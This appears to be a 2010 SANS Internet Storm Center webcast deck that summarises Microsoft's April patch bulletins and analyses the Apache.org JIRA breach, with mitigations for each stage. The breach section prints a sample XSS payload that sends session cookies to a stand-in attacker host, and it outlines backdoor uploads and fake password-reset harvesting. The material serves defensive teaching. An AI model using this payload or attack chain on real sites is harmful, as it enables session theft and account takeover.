



WebCasts
SANS

Internet Storm Center Monthly Threat Update

April 2010

*Johannes Ullrich, Ph.D., SANS Technology Institute
jullrich@sans.edu*

SANS
INSTITUTE

Outline



- **Vendor Presentation**
- **Microsoft Patches**
- **Apache Breach**



Sponsor



Microsoft Patches

11 Bulletins

7 Critical

3 Important

1 Moderate

25 Vulnerabilities



MS10-019: Authenticode

| Microsoft | ISC Client | ISC Server | Type |
|-----------|------------|------------|-----------|
| Critical | Critical | Critical | Code Exec |

- CVE 2010-0486, CVE 2010-0487
- Authenticode is the code signing mechanism used by Windows
- Vulnerability involves modifying a valid signed executable
- Modification is not detectable. Signature will still validate
- provides access as the user installing the software



MS10-020: SMB Client Vulnerability

| Microsoft | ISC Client | ISC Server | Type |
|-----------|------------|------------|-----------|
| Critical | Critical | Critical | Code Exec |

- various CVEs
- some vulnerabilities are publically known
- vulnerabilities are pre-authentication
- requires malicious SMB server
- could be triggered via e-mail/web page.
- One report of problems with NTBackup



MS10-021: Kernel Vulnerability

| Microsoft | ISC Client | ISC Server | Type |
|-----------|------------|------------|-----------|
| Important | Important | Important | Priv Esc. |

- 8 Different CVE numbers
- would typically be used as a follow-on to another exploit
- don't neglect this because it is only "important". In particular for servers, this should be applied quickly



MS10-022: VBScript "Help" Vulnerability

| Microsoft | ISC Client | ISC Server | Type |
|-----------|------------|------------|-----------|
| Important | Critical | Important | Code Exec |

- CVE 2010-0483
- attacker needs to trick user into pressing "F1"
- arbitrary code will be executed
- **THIS IS KNOWN AND EXPLOITED FOR A WHILE NOW!**



MS10-023: Microsoft Office Publisher

| Microsoft | ISC Client | ISC Server | Type |
|-----------|------------|------------|-----------|
| Important | Critical | Important | Code Exec |

- CVE 2010-0479
- client vulnerability
- can be exploited via IE
- user needs to open the document



MS10-024: Exchange / SMTP DoS

| Microsoft | ISC Client | ISC Server | Type |
|-----------|------------|------------|------|
| Important | - | Important | DoS |

- CVE-2010-0024, CVE-2010-0025
- 0024 requires a crafted MX record
- 0025 involves the STARTLS command
- DoS only



MS10-025: Windows Media Services

| Microsoft | ISC Client | ISC Server | Type |
|-----------|------------|------------|-----------|
| Critical | Important | Critical | Code Exec |

- CVE 2010-0478
- Only Win2k SP4 affected
- Optional component, not installed by default
- Used to stream audio/video



MS10-026: MPEG Layer 3 Codecs

| Microsoft | ISC Client | ISC Server | Type |
|-----------|------------|------------|-----------|
| Important | Critical | Critical | Code Exec |

- CVE 2010-0480
- affects AVI files with MP3 streams
- typical client vulnerability.



MS10-027: Windows Media Player

| Microsoft | ISC Client | ISC Server | Type |
|-----------|------------|------------|-----------|
| Critical | Critical | Important | Code Exec |

- CVE-2010-0268
- only affects Windows Media Player 9 (XP, Win2k)
- ActiveX problem. Can be triggered by exposing Internet Explorer to malicious MP3 files



MS10-028: Visio

| Microsoft | ISC Client | ISC Server | Type |
|-----------|------------|------------|-----------|
| Important | Critical | Important | Code Exec |

CVE-2010-0254, CVE-2010-0256
Typical client vulnerability



MS10-029: ISATAP

| Microsoft | ISC Client | ISC Server | Type |
|-----------|------------|------------|----------|
| Moderate | Moderate | Moderate | Spoofing |

- ISATAP is a IPv6 over IPv4 tunneling protocol
- allows to spoof IPv6 address
- ISATAP is an older protocol that is typically no longer used: Disable



What is ISATAP?

- **“Intra-Site Automatic Tunnel Addressing Protocol”**
- **IPv6 over IPv4 for Intranet**
- **Not useful for global IPv6 connectivity**
- **RFC 5214**
- **Encapsulated IPv6 packet inside IPv4 packet with protocol 41**
- **Uses fe80 addresses and derives the Interface ID from the hosts IPv4 address**
- **Automatic configuration, but requires IPv4 Multicast to work**



Apache.org Bugtracker Exploit

- **THIS IS NOT A VULNERABILITY IN APACHE**
- **The Apache foundation hosts a large number of projects**
- **Some share a common issue/bug tracker: Atlassian JIRA**
- **This bug tracker was compromised.**



What is Atlassian JIRA

- **JIRA: proprietary bug tracking system**
- **Web based**
- **Developed by Atlassian**
- **Written in Java**
- **Integrated with various source control programs (svn, cvs...)**
- **Atlassian regularly provides free licenses to open source projects like Apache**



The XSS Attack

- **Attacker opens an issue:**
ive got this error while browsing some projects in jira `http://tinyurl.com/XXXXXXXXXX`
- **TinyURL directed back to Apache's JIRA site, exploiting XSS**
- **XSS was used to steal session cookie.**
- **Sample exploit:**

```
<script>  
document.location='http://  
evilexample.com/cookie.php?  
' +document.cookie  
</script>
```



XSS Mitigation

- **“httponly” parameter in cookies. Prevents access to cookie from Javascript.**
- **Better output sanitation**
- **Better input filter (hard to do in this case)**



Password Brute Force

- **All passwords are vulnerable to brute force attacks**
- **It is just a matter of time / password strength / luck**
- **In this case hundreds of thousands of password attempts**
- **Not clear if brute forcing or XSS was used in the end**



Brute Force Mitigation

- **Strong Passwords**
- **Locking out accounts (Dangerous!)**
- **One time passwords (still possible... just harder)**
- **Two factor authentication**
- **Log monitoring / behavioral analysis**
- **Delaying response**



Next Step: Attacker has admin access

- **Attacker gained admin access via XSS or brute forcing**
- **Attacker modifies JIRA configuration**
- **Uploads JSP files**
 - **Ability to browse file system**
 - **Copy users home directories**
 - **Upload backdoor**
 - **Collect login passwords as user logs in**
 - **Trigger fake password reset e-mails to infrastructure team**



Fake Password Resets

- **System sent out password resets with temporary passwords to "infrastructure team"**
- **Team members logged in using the temporary password and reset it**
- **Script collected the new password**
- **One administrator used the same password used to log in to one of the apache.org systems (with root privileges!) – brutus.apache.org**



Mitigation

- **At this point, the attacker already has quite a bit of access**
- **DON'T REUSE PASSWORDS**
- **Use strong authentication to log into systems**



brutus.apache.org

- **Attackers searches for cached subversion credentials**
- **Uses found credentials to log into minotaur.apache.org**
- **Only achieves user level access on minotaur**

- **Attack is discovered and cleanup begins**



Mitigation

- **Do not use cached passwords for SVN**
- **Do not use cached passwords for anything**
- **If you use SSH keys, limit their use**



Summary

- **Lots of little things went wrong**
- **XSS: Everybody has it**
- **Reused Password: Honestly... you do it**
- **Resetting your password if your system tells you to: Why not? It is my system asking me to!**



Don't Forget!

- **ISC "StormCast":**
<http://isc.sans.org/podcast.html>
- **ISC Webcast Survey**
<http://www.surveymonkey.com/s/iscthreatupdate>
- **Twitter: johullrich & sans_isc & SANSInstitute**



Q&A



e-mail to

handlers@sans.org

<http://isc.sans.org>

<http://isc.sans.org/howto.html>